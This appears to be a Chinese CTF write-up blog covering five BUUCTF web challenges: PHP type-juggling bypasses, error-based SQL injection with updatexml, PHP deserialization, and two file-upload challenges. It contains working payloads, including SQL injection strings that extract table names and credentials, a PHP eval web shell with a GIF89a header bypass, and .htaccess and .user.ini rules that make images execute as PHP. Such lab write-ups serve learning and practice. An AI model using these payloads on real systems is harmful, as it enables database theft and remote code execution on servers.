[MRCTF2020]Ez_bypass
打开环境,看源码
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {$id=$_GET['id'];$gg=$_GET['gg'];if (md5($id) === md5($gg) && $id !== $gg) {echo 'You got the first step';if(isset($_POST['passwd'])) {$passwd=$_POST['passwd'];if (!is_numeric($passwd)){if($passwd==1234567){echo 'Good Job!';highlight_file('flag.php');die('By Retr_0');}else{echo "can you think twice??";}}else{echo 'You can not get it !';}}else{die('only one way to get the flag');}}else {echo "You are not a real hacker!";}}else{die('Please input first');}}
第一个if为强比较,使用数组可以绕过
弱类型比较(==)的安全漏洞
- !is_numeric($passwd)
检查 $passwd 是否"不是数字"(如 “123” 会被拦截,但 “123abc” 可以通过) - $passwd == 1234567
使用 弱类型比较(==),会尝试将 $passwd 转换成数字后再比较,导致非严格匹配
使用playload:password=1234567a
[极客大挑战 2019]HardSQL
思路
遇到过它的前几版(联合查询,堆叠注入,双写绕过什么的),这次又来了
用户名输入admin
,密码输入1
(将密码作为注入点)
回显正常,但是密码改为1'
回显不正常了
说明存在sql注入,使用联合查询看一下1' order by 3
回显
这里改为2或1都是这个页面,说明存在过滤
sql注入的方法:万能密码-->联合查询-->堆叠注入-->报错注入
万能密码不行,联合查询,堆叠注入也不可以
看大佬的非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)
- 函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
- 函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数
- 注入原理:
(在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)局限性:查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串
做题
使用万能密码
报错注入
查询库名
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
查询表名
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
查询字段名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
查询前部分字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
查询后部分字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
拼接出来
flag{858aec26-847d-401e-a955-809ff510f683}
[网鼎杯 2020 青龙组]AreUSerialz
PHP反序列化题目wp
<?php
class FileHandler {public $op = 2; // 直接设置为字符串"2"public $filename = "flag.php";public $content;
}$obj = new FileHandler();
$serialized = serialize($obj);
echo $serialized;
?>
O:11:“FileHandler”:3:{s:2:“op”;i:2;s:8:“filename”;s:8:“flag.php”;s:7:“content”;N;}
flag{d5b95529-7a68-4c36-bbfd-83a59d312883}
[GXYCTF2019]BabyUpload
- 上传一个1.php
内容<?php @eval($_POST['cmd']);?>
回显这个
这就不能用phtml后缀名了(包含PHP代码的HTML文件,会被浏览器当做PHP代码执行)
改一下小写为大写PHp,还是不行 - 那就直接将后缀名改为1.jpg(图片的其他后缀名不行)内容还是刚刚的一句话木马
还是不行,猜测对文件内容有限制,试一下不用这个<? - 使用
GIF89a
<?php @eval($_POST["cmd"]);?>
上传成功
分析:文件上传成功了,但是jpg文件无法被当成php解析。
思路:考虑.htaccess和.user.ini配置文件控制,实现解析漏洞。
- 上传构造的.htaccess文件
AddType application/x-httpd-php .jpg#将.jpeg文件解析为php文件
抓包要修改MIME,不然上传不成功
最后使用蚁剑连接就行了
访问一下,url为http://c1a8a068-dc5e-40fa-98f8-cbddbe15e007.node5.buuoj.cn:81/upload/56c33cb01c2a29de24625c749f850027/1.jpg
出现
flag{831e3969-e031-4e26-b085-38b02efd4589}
[SUCTF 2019]CheckIn
分析
直接上传2.php(<?php @eval($_POST['cmd']);?>
)显示非法上传
改为2.jpg还是上传不成功,回显<?说明存在文件内容的检查
将文件内容修改一下,改为GIF89a<script language="php">eval($_POST[cmd])</script>
是可以上传成功的但是要想解析就需要.htaccess文件(AddType application/x-httpd-php .jpg
),这次上传不了,改了MIME还是回显不是图片,那就再在文件开头加一个图片的文件头GIF89a
,上传成功
其实回显的内容已经说了是文件头检查exif_imagetype这个是php中的一个内置函数 用于判断一个给定文件的图像类型。它通过读取文件头部的特定信息来确定文件是否为图像以及具体是哪种常见的图像类型
两个文件上传完成之后,就可以用蚁剑连接了
拓展
解析文件,这道题和上一道题的解析文件都是用的是.htaccess,这里还可以用user.ini
在文件中写入GIF89a auto_prepend_file=要解析的文件名
上传即可